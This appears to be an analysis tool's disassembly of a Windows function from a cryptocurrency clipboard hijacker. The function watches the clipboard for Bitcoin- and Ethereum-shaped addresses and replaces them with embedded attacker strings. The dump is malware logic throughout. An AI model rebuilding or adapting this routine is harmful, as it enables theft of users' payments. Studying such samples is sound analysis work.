Function at 0x403952
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1bc
push ebx
push esi
push edi
push 0x64
pop esi
push esi
lea eax, [ebp - 0x90]
push 0
push eax
call fcn.00409fd0
push esi
lea eax, [ebp - 0x1bc]
push 0
push eax
call fcn.00409fd0
push esi
lea eax, [ebp - 0xf4]
push 0
push eax
call fcn.00409fd0
push esi
lea eax, [ebp - 0x158]
push 0
push eax
call fcn.00409fd0
movaps xmm0, xmmword [0x41f690]
lea eax, [ebp - 0x90]
push 0x22
push eax
movups xmmword [ebp - 0x24], xmm0
lea eax, [ebp - 0x24]
mov word [ebp - 4], 0x8bee
movaps xmm0, xmmword [0x41f650]
push eax
movups xmmword [ebp - 0x14], xmm0
call fcn.00403062
movaps xmm0, xmmword [0x41f680]
lea eax, [ebp - 0xf4]
push 0x22
push eax
movups xmmword [ebp - 0x24], xmm0
lea eax, [ebp - 0x24]
mov word [ebp - 4], 0xa4d5
movaps xmm0, xmmword [0x41f660]
push eax
movups xmmword [ebp - 0x14], xmm0
call fcn.00403062
movaps xmm0, xmmword [0x41f6a0]
lea eax, [ebp - 0x1bc]
add esp, 0x48
mov dword [ebp - 0xc], 0x410df7e1
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 8], 0xa9b2482f
movaps xmm0, xmmword [0x41f670]
push 0x2a
push eax
lea eax, [ebp - 0x2c]
mov word [ebp - 4], 0x20f4
push eax
movups xmmword [ebp - 0x1c], xmm0
call fcn.00403062
movaps xmm0, xmmword [0x41f640]
lea eax, [ebp - 0x158]
push 0x2a
push eax
movups xmmword [ebp - 0x2c], xmm0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0xc], 0x4824a7e4
movaps xmm0, xmmword [0x41f630]
push eax
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 8], 0xfcba4808
mov word [ebp - 4], 0x75cc
call fcn.00403062
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalLock]
add esp, 0x18
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [0x428c88], eax
test eax, eax
je 0x403c06
push eax
call ebx
mov edi, eax
test edi, edi
je 0x403c06
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x2c
jge 0x403c06
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x17
jle 0x403c06
push edi
call fcn.0040425d
push edi
call fcn.004044c6
pop ecx
pop ecx
cmp eax, 1
jne 0x403b64
mov al, byte [edi]
cmp al, 0x31
jne 0x403b23
push 0x23
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
mov dword [0x428c8c], eax
call ebx
mov esi, eax
lea eax, [ebp - 0x90]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [0x428c8c]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
mov al, byte [edi]
cmp al, 0x33
jne 0x403b64
push 0x23
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
mov dword [0x428c8c], eax
call ebx
mov esi, eax
lea eax, [ebp - 0xf4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [0x428c8c]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x28
jle 0x403bb8
cmp byte [edi], 0x30
jne 0x403bb8
cmp byte [edi + 1], 0x78
jne 0x403bb8
push 0x2b
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
mov dword [0x428c8c], eax
call ebx
mov esi, eax
lea eax, [ebp - 0x158]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [0x428c8c]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
cmp byte [edi], 0x62
jne 0x403c06
cmp byte [edi + 1], 0x63
jne 0x403c06
cmp byte [edi + 2], 0x31
jne 0x403c06
push 0x2b
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
mov dword [0x428c8c], eax
call ebx
mov esi, eax
lea eax, [ebp - 0x1bc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [0x428c8c]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403a7d